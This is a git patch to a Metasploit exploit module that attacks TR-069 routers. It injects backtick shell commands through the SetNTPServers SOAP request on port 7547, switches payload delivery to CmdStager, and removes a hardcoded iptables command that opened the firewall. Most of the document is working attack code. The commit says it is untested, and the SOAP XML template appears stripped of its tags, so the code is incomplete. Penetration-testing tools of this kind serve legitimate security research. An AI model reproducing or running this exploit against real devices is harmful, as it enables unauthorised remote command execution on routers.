From 4d6b2dfb460a6025174620b099903e98544f98c3 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 29 Nov 2016 15:03:38 -0600 Subject: [PATCH] Use CmdStager instead Oh, and this is totally untested as of this commit. --- .../linux/http/tr069_ntpserver_cmdinject.rb | 81 ++++++++++--------- 1 file changed, 43 insertions(+), 38 deletions(-) diff --git a/modules/exploits/linux/http/tr069_ntpserver_cmdinject.rb b/modules/exploits/linux/http/tr069_ntpserver_cmdinject.rb index a61f5d6272..821ea6f723 100644 --- a/modules/exploits/linux/http/tr069_ntpserver_cmdinject.rb +++ b/modules/exploits/linux/http/tr069_ntpserver_cmdinject.rb @@ -4,6 +4,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -20,6 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Author' => [ 'Kenzo', # Vulnerability discovery and original Metasploit module + 'Michael Messner ', # Copypasta from TheMoon msf module 'todb', # Metasploit module 'wvu' , # Metasploit module '0x27' # Metasploit module @@ -54,34 +56,59 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ - Opt::RPORT(7547), # CWMP port + Opt::RPORT(7547), # TR-069 CWMP port for SOAP/XML commands ], self.class) - @data_cmd_template = "" - @data_cmd_template << "" - @data_cmd_template << " " - @data_cmd_template << " " - @data_cmd_template << " %s" - @data_cmd_template << " " - @data_cmd_template << " " - @data_cmd_template << " " - @data_cmd_template << " " - @data_cmd_template << " " - @data_cmd_template << " " - @data_cmd_template << "" + end + + def set_new_ntp_server(cmd) + template = "" + template << "" + template << " " + template << " " + template << " `%s`" # Backticks, aw yeah + template << " " + template << " " + template << " " + template << " " + template << " " + template << " " + template << "" + + template % cmd + end + + def execute_command(cmd, opts) + uri = '/UD/act?1' + soapaction = "urn:dslforum-org:service:Time:1#SetNTPServers" + injected_data = set_new_ntp_server(cmd) + begin + res = send_request_cgi({ + 'uri' => uri, + 'ctype' => "text/xml", + 'method' => 'POST', + 'headers' => { + 'SOAPAction' => soapaction, + }, + 'data' => injected_data + }, 2) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end end def check begin res = send_request_cgi({ - 'uri' => '/globe' + 'uri' => '/globe' # TODO: Check this? Why not /UD/act?1 }) rescue ::Rex::ConnectionError vprint_error("A connection error has occured") return Exploit::CheckCode::Unknown end - if res and res.code == 404 and res.body =~ /home_wan.htm/ + if res and res.code == 404 and res.body =~ /home_wan\.htm/ return Exploit::CheckCode::Appears end @@ -96,29 +123,7 @@ class MetasploitModule < Msf::Exploit::Remote end print_status("Exploiting...") - print_status("Dropping firewall on port 80...") - execute_command("`iptables -I INPUT -p tcp --dport 80 -j ACCEPT`","") - execute_command("tick.eircom.net","") - end - - def execute_command(cmd, opts) - uri = '/UD/act?1' - soapaction = "urn:dslforum-org:service:Time:1#SetNTPServers" - data_cmd = @data_cmd_template % "#{cmd}" - begin - res = send_request_cgi({ - 'uri' => uri, - 'ctype' => "text/xml", - 'method' => 'POST', - 'headers' => { - 'SOAPAction' => soapaction, - }, - 'data' => data_cmd - }) - return res - rescue ::Rex::ConnectionError - fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") - end + execute_cmdstager({:flavor => :echo}) end end